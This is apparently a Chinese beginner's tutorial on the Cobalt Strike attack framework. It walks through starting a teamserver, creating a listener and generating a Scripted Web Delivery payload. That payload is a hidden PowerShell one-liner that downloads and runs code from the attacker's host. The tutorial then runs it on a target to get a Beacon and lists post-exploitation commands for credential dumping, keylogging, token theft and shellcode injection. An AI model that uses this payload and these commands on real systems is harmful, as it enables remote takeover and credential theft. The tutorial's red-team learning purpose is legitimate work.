0-Cobalt Strike零基础

[TOC]

1.Cobalt Strike 简介

Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。

CS的发展

  • Armitage [2010-2012]

    Armitage是一个红队协作攻击管理工具,它以图形化方式实现了Metasploit框架的自动化攻击。Armitage采用Java构建,拥有跨平台特性。

  • Cobalt Strike 1.x [2012-2014]

    Cobalt Strike 增强了Metasploit Framework在执行目标攻击和渗透攻击的能力。

  • Cobalt Strike 2.x [2014-?]

    Cobalt Strike 2是应模拟黑客攻击的市场需求而出现的,Cobalt Strike 2是以malleable C2技术的需求为定位的,这个技术使Cobalt Strike的能力更强了一些。

  • Cobalt Strike 3.x [2015-?]

    Cobalt Strike 3 的攻击和防御都不用在Metasploit Framework平台(界面)下进行。

    如今 Cobalt Strike 4.0 也已经发布,改动相比 3.x 还是不小的,笔者在演示的时候使用的 Cobalt Strike 4.0,看的视频教程是 3.x 的教程。

接下来会用到的工具和环境

  • Cobalt Strike
  • Kali
  • Metasploit Framework
  • PowerSploit
  • PowerTools
  • Veil Evasion Framework

2.Cobalt Strike 安装

2.1 安装Java运行环境

因为启动Cobalt Strike需要JDK的支持,所以需要安装Java环境。Java环境的安装可以参考:https://www.runoob.com/java/java-environment-setup.html

因为安装kali时,默认会安装java环境。我们可以通过java -version进行验证。

2.2 部署TeamServer

在安装Cobalt Strike时,必须搭建团队服务器(TeamServer服务器)。打开cobaltstrike文件夹,赋予TeamServer 和 Cabalt Strike执行权限。

1
chmod +x teamserver cobaltstrike

Cobalt Strike 文件夹中有多个文件和文件夹。

其功能如下。

  • agscript:拓展应用的脚本。
  • c2lint:用于检查profile 的错误和异常。
  • teamserver:团队服务器程序。
  • cobaltstrike 和 cobaltstrike.jar:客户端程序。因为teamserver文件是通过Java来调用CobaltStrike 的,所以直接在命令行环境中输入第一个文件的内容也能启动Cobalt Strike 客户端 (主要是为了方便操作)。
  • logs:日志,包括 Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等。
  • datas:用于保存当前TeamServer的一些数据。
  • update 和 update.jar:用于更新Cobalt Strike。

最后,运行团队服务器。需要设置当前主机的IP地址和TeamServer的密码。输入如下命令启动TeamServer。

1
./teamserver 10.251.0.35 sangfor

Cobalt Strike的TeamServer准备就绪。接下来,我们就可以启动Cobalt Strike客户端来连接TeamServer了。

3.Cobalt Strike 启动

3.1 启动cobaltstrike.jar

在Linux下,可以直接通过./cobaltstrike启动客户端,如下图。

1
./cobaltstrike

填写TeamServer的IP地址、端口号、用户名、密码。在这里,登录的用户名可以任意输名称,只要保证当前该用户名没有被用来登录Cobalt Strike服务器即可。

在确认信息填写无误后,点击Connect连接服务端,这时候会出现指纹校验对话框。指纹校验的主要作用是防篡改,且每次创建Cobalt Strike团队服务器时生成的指纹都不一样。

在客户端向服务器成功获取相关信息后,即可打开Cobalt Strike 主页面,Cobalt Strike 主页面主要分为菜单栏、快捷功能区、目标列表区、控制台命令输出区、控制台命令输入区。

  • 菜单栏:集成了Cobalt Strike的所有功能。
  • 快捷功能区:列出常用的功能。
  • 目标列表:根据不同的显示模式,显示已获取权限的主机及目标主机。
  • 控制台命令输出区:输出命令的执行结果。
  • 控制台命令输人区:输入命令。

Windows中,可以直接允许.bat程序,然后输入teamserver服务器的IP地址和密码进行连接即可。

3.2 利用Cobalt Strike 获取第一个Beacon

建立Listener

可以通过菜单栏的第一个选项”Cobalt Strike”进人”Listeners” 面板,如下图。

也可以通过快捷功能区进入”Listeners” 面板,如下图。

单击“Add” 按钮,新建一个监听器,输入名称、监听器类型、团队服务器IP地址、监听的端口,然后单击“Save”按钮保存设置。

使用 Web Delivery 执行Payload

单击 “Attacks” 菜单,选择”Web Drive-by”→”Scripted Web Delivery”选项,如下图。

或者通过快捷功能区,打开“Scripted Web Delivery”窗口,如下图。

保持默认配置,选择已经创建的监听器,设置类型为PowerShell,然后单击“Launch”按钮,如下图。

最后,将Cobalt Strike生成的Payload完整地复制下来,如下图。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.251.0.35:80/a'))"

其中url它是个文件路径,就是让目标 (受害者)通过这个地址和端口下载 恶意脚本。访问这个url,可以看到是一段powershell代码,如下图。

在目标机器上执行Payload

执行Payload,Cobalt Strike 会收到一个Beacon,如下图。

执行以后,可以在Cobalt Strike的日志里面看到一条日志,如下图。

在Cobalt Strike 的主页面中可以看到一台机器上线(包含外网IP地址,内网IP地址、监听器、用户名、机器名、是否有特权、Beacon进程的PID、心跳时间等信息),如下图:

与目标主机进行交互操作

单击右键,在弹出的快捷菜单中选中需要操作的Beacon,然后单击”Interact”选项,进入主机交互模式,如下图。

现在就可以输入一些命令来执行相关操作了。输入”shell whoami”命令,查看当前用户,在心跳时间后就会执行该命令。在执行命令时,需要在命令前添加”shell”。Beacon的每次回连时间默认为60秒。如果sleep时间过长,在下载文件面前更为明显,所以在测试时会把时间降低一点 。拿到Beacon后,我一般先执行sleep 5,大家可以根据实战环境来调节,建议不要太快,不然流量会很明显。回连后,执行命令的任务将被下发,并成功回显命令的执行结果,如下图。

其他的Beacon命令,大家可以在Beacon中输入help来获取。在这贴出一部分汉化的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Beacon Commands
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
p**ec Use a service to spawn a session on a host
p**ec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗